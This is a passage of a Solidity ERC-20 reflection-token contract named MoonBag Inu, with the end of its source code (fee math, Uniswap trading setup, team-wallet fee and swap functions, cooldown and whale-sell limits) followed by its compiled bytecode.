tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() public onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); tradingOpen = true; } function manualswap() external { require(_msgSender() == _teamWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _teamWallet); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function setMoonbagEnabled(bool onoff) external onlyOwner() { _moonbagEnabled = onoff; emit MoonbagEnabledUpdated(_cooldownEnabled); } function setwhaleDumpProtection(bool onoff) external onlyOwner() { _whaleDumpProtection = onoff; emit WhaleDumpProtectionUpdated(_whaleDumpProtection); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function moonbagEnabled() public view returns (bool) { return _moonbagEnabled; } function whaleDumpProtection() public view returns (bool) { return _whaleDumpProtection; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function whaleSellLimit() public view returns (uint256) { uint256 whaleAmount = _tTotal.mul(5).div(100); uint256 inLiquidity = amountInPool(); if(inLiquidity == 0) return whaleAmount; if(inLiquidity < _tTotal.mul(75).div(100)) whaleAmount = whaleAmount.mul(75).div(100); if(inLiquidity < _tTotal.mul(50).div(100)) whaleAmount = whaleAmount.mul(50).div(100); if(inLiquidity < _tTotal.mul(25).div(100)) whaleAmount = whaleAmount.mul(25).div(100); if(inLiquidity < _tTotal.mul(10).div(100)) whaleAmount = whaleAmount.mul(10).div(100); return whaleAmount; } }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a9fc35a91161008a578063ca43d46711610064578063ca43d46714610501578063d8f406e31461052a578063db92dbb614610555578063dd62ed3e1461058057610171565b8063a9fc35a914610496578063c3c8cd80146104d3578063c9567bf9146104ea57610171565b806370a0823114610384578063715018a6146103c15780638da5cb5b146103d857806395d89b4114610403578063a9059cbb1461042e578063a985ceef1461046b57610171565b806327f3a72a1161012357806327f3a72a1461029a578063313ce567146102c557806345596e2e146102f0578063578d610f146103195780635932ead1146103445780636fc3eaec1461036d57610171565b806306fdde0314610176578063095ea7b3146101a15780630e32a09a146101de57806318160ddd14610209578063220e4e521461023457806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105bd565b6040516101989190612f39565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612b4d565b6105fa565b6040516101d59190612f1e565b60405180910390f35b3480156101ea57600080fd5b506101f3610618565b604051610200919061311b565b60405180910390f35b34801561021557600080fd5b5061021e610812565b60405161022b919061311b565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612b8d565b610828565b005b34801561026957600080fd5b50610284600480360381019061027f9190612afa565b610920565b6040516102919190612f1e565b60405180910390f35b3480156102a657600080fd5b506102af6109f9565b6040516102bc919061311b565b60405180910390f35b3480156102d157600080fd5b506102da610a09565b6040516102e79190613190565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190612bba565b610a12565b005b34801561032557600080fd5b5061032e610af9565b60405161033b9190612f1e565b60405180910390f35b34801561035057600080fd5b5061036b60048036038101906103669190612b8d565b610b10565b005b34801561037957600080fd5b50610382610c08565b005b34801561039057600080fd5b506103ab60048036038101906103a69190612a60565b610c7a565b6040516103b8919061311b565b60405180910390f35b3480156103cd57600080fd5b506103d6610ccb565b005b3480156103e457600080fd5b506103ed610e1e565b6040516103fa9190612eda565b60405180910390f35b34801561040f57600080fd5b50610418610e47565b6040516104259190612f39565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190612b4d565b610e84565b6040516104629190612f1e565b60405180910390f35b34801561047757600080fd5b50610480610ea2565b60405161048d9190612f1e565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190612a60565b610eb9565b6040516104ca919061311b565b60405180910390f35b3480156104df57600080fd5b506104e8610f10565b005b3480156104f657600080fd5b506104ff610f8a565b005b34801561050d57600080fd5b5061052860048036038101906105239190612b8d565b611297565b005b34801561053657600080fd5b5061053f61138f565b60405161054c9190612f1e565b60405180910390f35b34801561056157600080fd5b5061056a6113a6565b604051610577919061311b565b60405180910390f35b34801561058c57600080fd5b506105a760048036038101906105a29190612aba565b6113d8565b6040516105b4919061311b565b60405180910390f35b60606040518060400160405280600b81526020017f4d6f6f6e42616720496e75000000000000000000000000000000000000000000815250905090565b600061060e61060761145f565b8484611467565b6001905092915050565b600080610650606461064260056d04ee2d6d415b85acef810000000061163290919063ffffffff16565b6116ad90919063ffffffff16565b9050600061065c6113a6565b9050600081141561067157819250505061080f565b6106a66064610698604b6d04ee2d6d415b85acef810000000061163290919063ffffffff16565b6116ad90919063ffffffff16565b8110156106d7576106d460646106c6604b8561163290919063ffffffff16565b6116ad90919063ffffffff16565b91505b61070c60646106fe60326d04ee2d6d415b85acef810000000061163290919063ffffffff16565b6116ad90919063ffffffff16565b81101561073d5761073a606461072c60328561163290919063ffffffff16565b6116ad90919063ffffffff16565b91505b610772606461076460196d04ee2d6d415b85acef810000000061163290919063ffffffff16565b6116ad90919063ffffffff16565b8110156107a3576107a0606461079260198561163290919063ffffffff16565b6116ad90919063ffffffff16565b91505b6107d860646107ca600a6d04ee2d6d415b85acef810000000061163290919063ffffffff16565b6116ad90919063ffffffff16565b8110156108095761080660646107f8600a8561163290919063ffffffff16565b6116ad90919063ffffffff16565b91505b81925050505b90565b60006d04ee2d6d415b85acef8100000000905090565b61083061145f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b49061307b565b60405180910390fd5b80601060176101000a81548160ff0219169083151502179055507fa67e8d4dcc23c67c82463cc100c7325285bfa45181431845977bc2ed5afb1b7d601060179054906101000a900460ff166040516109159190612f1e565b60405180910390a150565b600061092d8484846116f7565b6109ee8461093961145f565b6109e98560405180606001604052806028815260200161383560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061099f61145f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fbf9092919063ffffffff16565b611467565b600190509392505050565b6000610a0430610c7a565b905090565b60006012905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a5361145f565b73ffffffffffffffffffffffffffffffffffffffff1614610a7357600080fd5b60338110610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad90612fdb565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b54604051610aee919061311b565b60405180910390a150565b6000601060179054906101000a900460ff16905090565b610b1861145f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9c9061307b565b60405180910390fd5b80601060156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601060159054906101000a900460ff16604051610bfd9190612f1e565b60405180910390a150565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c4961145f565b73ffffffffffffffffffffffffffffffffffffffff1614610c6957600080fd5b6000479050610c7781612023565b50565b6000610cc4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a2565b9050919050565b610cd361145f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d579061307b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d4f4f4e42490000000000000000000000000000000000000000000000000000815250905090565b6000610e98610e9161145f565b84846116f7565b6001905092915050565b6000601060159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610f0991906132e1565b9050919050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f5161145f565b73ffffffffffffffffffffffffffffffffffffffff1614610f7157600080fd5b6000610f7c30610c7a565b9050610f8781612110565b50565b610f9261145f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110169061307b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110b430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166d04ee2d6d415b85acef8100000000611467565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110fa57600080fd5b505afa15801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612a8d565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561119457600080fd5b505afa1580156111a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cc9190612a8d565b6040518363ffffffff1660e01b81526004016111e9929190612ef5565b60206040518083038186803b15801561120157600080fd5b505afa158015611215573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112399190612a8d565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060146101000a81548160ff02191690831515021790555050565b61129f61145f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113239061307b565b60405180910390fd5b80601060166101000a81548160ff0219169083151502179055507f63644e36c4d797f3cc0e972693cfa06e15f15711b36e0fe7ab92fc5fca3880a7601060159054906101000a900460ff166040516113849190612f1e565b60405180910390a150565b6000601060169054906101000a900460ff16905090565b60006113d3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c7a565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ce906130db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e90612f9b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611625919061311b565b60405180910390a3505050565b60008083141561164557600090506116a7565b600082846116539190613287565b90508284826116629190613256565b146116a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116999061305b565b60405180910390fd5b809150505b92915050565b60006116ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612398565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175e906130bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ce90612f5b565b60405180910390fd5b6000811161181a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118119061309b565b60405180910390fd5b611822610e1e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118905750611860610e1e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611efc57601060159054906101000a900460ff16156119ae57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160019054906101000a900460ff166119ad5760405180606001604052806000815260200160001515815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff02191690831515021790555060408201518160010160016101000a81548160ff0219169083151502179055509050505b5b601060149054906101000a900460ff166119fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f4906130fb565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aa85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611afe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6d57601060159054906101000a900460ff1615611b6c57600f42611b259190613200565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b6000611b7830610c7a565b9050601060189054906101000a900460ff16158015611be55750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611efa57601060159054906101000a900460ff1615611e1f5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7a90612ffb565b60405180910390fd5b601060169054906101000a900460ff168015611cec5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16155b15611dbe57611d206064611d126050611d0488610c7a565b61163290919063ffffffff16565b6116ad90919063ffffffff16565b821115611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d599061301b565b60405180910390fd5b6001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff0219169083151502179055505b601060179054906101000a900460ff1615611e1e57611ddb610618565b821115611e1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e149061303b565b60405180910390fd5b5b5b6000811115611ee057611e7a6064611e6c600b54611e5e601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c7a565b61163290919063ffffffff16565b6116ad90919063ffffffff16565b811115611ed657611ed36064611ec5600b54611eb7601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c7a565b61163290919063ffffffff16565b6116ad90919063ffffffff16565b90505b611edf81612110565b5b60004790506000811115611ef857611ef747612023565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fa35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611fad57600090505b611fb9848484846123fb565b50505050565b6000838311158290612007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffe9190612f39565b60405180910390fd5b506000838561201691906132e1565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120736002846116ad90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561209e573d6000803e3d6000fd5b5050565b60006007548211156120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e090612f7b565b60405180910390fd5b60006120f3612428565b905061210881846116ad90919063ffffffff16565b915050919050565b6001601060186101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121485761214761343c565b5b6040519080825280602002602001820160405280156121765781602001602082028036833780820191505090505b509050308160008151811061218e5761218d61340d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561223057600080fd5b505afa158015612244573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122689190612a8d565b8160018151811061227c5761227b61340d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122e330600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611467565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612347959493929190613136565b600060405180830381600087803b15801561236157600080fd5b505af1158015612375573d6000803e3d6000fd5b50505050506000601060186101000a81548160ff02191690831515021790555050565b600080831182906123df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d69190612f39565b60405180910390fd5b50600083856123ee9190613256565b9050809150509392505050565b8061240957612408612453565b5b612414848484612496565b8061242257612421612661565b5b50505050565b6000806000612435612675565b9150915061244c81836116ad90919063ffffffff16565b9250505090565b600060095414801561246757506000600a54145b1561247157612494565b600954600c81905550600a54600d8190555060006009819055506000600a819055505b565b6000806000806000806124a8876126e6565b95509550955095509550955061250686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e7816127f6565b6125f184836128b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161264e919061311b565b60405180910390a3505050505050505050565b600c54600981905550600d54600a81905550565b6000806000600754905060006d04ee2d6d415b85acef810000000090506126b56d04ee2d6d415b85acef81000000006007546116ad90919063ffffffff16565b8210156126d9576007546d04ee2d6d415b85acef81000000009350935050506126e2565b81819350935050505b9091565b60008060008060008060008060006127038a600954600a546128ed565b9250925092506000612713612428565b905060008060006127268e878787612983565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061279083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fbf565b905092915050565b60008082846127a79190613200565b9050838110156127ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e390612fbb565b60405180910390fd5b8091505092915050565b6000612800612428565b90506000612817828461163290919063ffffffff16565b905061286b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128c88260075461274e90919063ffffffff16565b6007819055506128e38160085461279890919063ffffffff16565b6008819055505050565b600080600080612919606461290b888a61163290919063ffffffff16565b6116ad90919063ffffffff16565b905060006129436064612935888b61163290919063ffffffff16565b6116ad90919063ffffffff16565b9050600061296c8261295e858c61274e90919063ffffffff16565b61274e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061299c858961163290919063ffffffff16565b905060006129b3868961163290919063ffffffff16565b905060006129ca878961163290919063ffffffff16565b905060006129f3826129e5858761274e90919063ffffffff16565b61274e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612a1b816137ef565b92915050565b600081519050612a30816137ef565b92915050565b600081359050612a4581613806565b92915050565b600081359050612a5a8161381d565b92915050565b600060208284031215612a7657612a7561346b565b5b6000612a8484828501612a0c565b91505092915050565b600060208284031215612aa357612aa261346b565b5b6000612ab184828501612a21565b91505092915050565b60008060408385031215612ad157612ad061346b565b5b6000612adf85828601612a0c565b9250506020612af085828601612a0c565b9150509250929050565b600080600060608486031215612b1357612b1261346b565b5b6000612b2186828701612a0c565b9350506020612b3286828701612a0c565b9250506040612b4386828701612a4b565b9150509250925092565b60008060408385031215612b6457612b6361346b565b5b6000612b7285828601612a0c565b9250506020612b8385828601612a4b565b9150509250929050565b600060208284031215612ba357612ba261346b565b5b6000612bb184828501612a36565b91505092915050565b600060208284031215612bd057612bcf61346b565b5b6000612bde84828501612a4b565b91505092915050565b6000612bf38383612bff565b60208301905092915050565b612c0881613315565b82525050565b612c1781613315565b82525050565b6000612c28826131bb565b612c3281856131de565b9350612c3d836131ab565b8060005b83811015612c6e578151612c558882612be7565b9750612c60836131d1565b925050600181019050612c41565b5085935050505092915050565b612c8481613327565b82525050565b612c938161336a565b82525050565b6000612ca4826131c6565b612cae81856131ef565b9350612cbe81856020860161337c565b612cc781613470565b840191505092915050565b6000612cdf6023836131ef565b9150612cea82613481565b604082019050919050565b6000612d02602a836131ef565b9150612d0d826134d0565b604082019050919050565b6000612d256022836131ef565b9150612d308261351f565b604082019050919050565b6000612d48601b836131ef565b9150612d538261356e565b602082019050919050565b6000612d6b6015836131ef565b9150612d7682613597565b602082019050919050565b6000612d8e6023836131ef565b9150612d99826135c0565b604082019050919050565b6000612db16018836131ef565b9150612dbc8261360f565b602082019050919050565b6000612dd4600f836131ef565b9150612ddf82613638565b602082019050919050565b6000612df76021836131ef565b9150612e0282613661565b604082019050919050565b6000612e1a6020836131ef565b9150612e25826136b0565b602082019050919050565b6000612e3d6029836131ef565b9150612e48826136d9565b604082019050919050565b6000612e606025836131ef565b9150612e6b82613728565b604082019050919050565b6000612e836024836131ef565b9150612e8e82613777565b604082019050919050565b6000612ea66018836131ef565b9150612eb1826137c6565b602082019050919050565b612ec581613353565b82525050565b612ed48161335d565b82525050565b6000602082019050612eef6000830184612c0e565b92915050565b6000604082019050612f0a6000830185612c0e565b612f176020830184612c0e565b9392505050565b6000602082019050612f336000830184612c7b565b92915050565b60006020820190508181036000830152612f538184612c99565b905092915050565b60006020820190508181036000830152612f7481612cd2565b9050919050565b60006020820190508181036000830152612f9481612cf5565b9050919050565b60006020820190508181036000830152612fb481612d18565b9050919050565b60006020820190508181036000830152612fd481612d3b565b9050919050565b60006020820190508181036000830152612ff481612d5e565b9050919050565b6000602082019050818103600083015261301481612d81565b9050919050565b6000602082019050818103600083015261303481612da4565b9050919050565b6000602082019050818103600083015261305481612dc7565b9050919050565b6000602082019050818103600083015261307481612dea565b9050919050565b6000602082019050818103600083015261309481612e0d565b9050919050565b600060208201905081810360008301526130b481612e30565b9050919050565b600060208201905081810360008301526130d481612e53565b9050919050565b600060208201905081810360008301526130f481612e76565b9050919050565b6000602082019050818103600083015261311481612e99565b9050919050565b60006020820190506131306000830184612ebc565b92915050565b600060a08201905061314b6000830188612ebc565b6131586020830187612c8a565b818103604083015261316a8186612c1d565b90506131796060830185612c0e565b6131866080830184612ebc565b9695505050505050565b60006020820190506131a56000830184612ecb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061320b82613353565b915061321683613353565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561324b5761324a6133af565b5b828201905092915050565b600061326182613353565b915061326c83613353565b92508261327c5761327b6133de565b5b828204905092915050565b600061329282613353565b915061329d83613353565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132d6576132d56133af565b5b828202905092915050565b60006132ec82613353565b91506132f783613353565b92508282101561330a576133096133af565b5b828203905092915050565b600061332082613333565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061337582613353565b9050919050565b60005b8381101561339a57808201518184015260208101905061337f565b838111156133a9576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f596f7520666f72676f7420796f7572206d6f6f6e206261670000000000000000600082015250565b7f596f75206172652061207768616c650000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6137f881613315565b811461380357600080fd5b50565b61380f81613327565b811461381a57600080fd5b50565b61382681613353565b811461383157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f7fb9a330608541e24ec462a8f7e120216d315a29b1431c41a2b555e0bbbb4064736f6c63430008050033
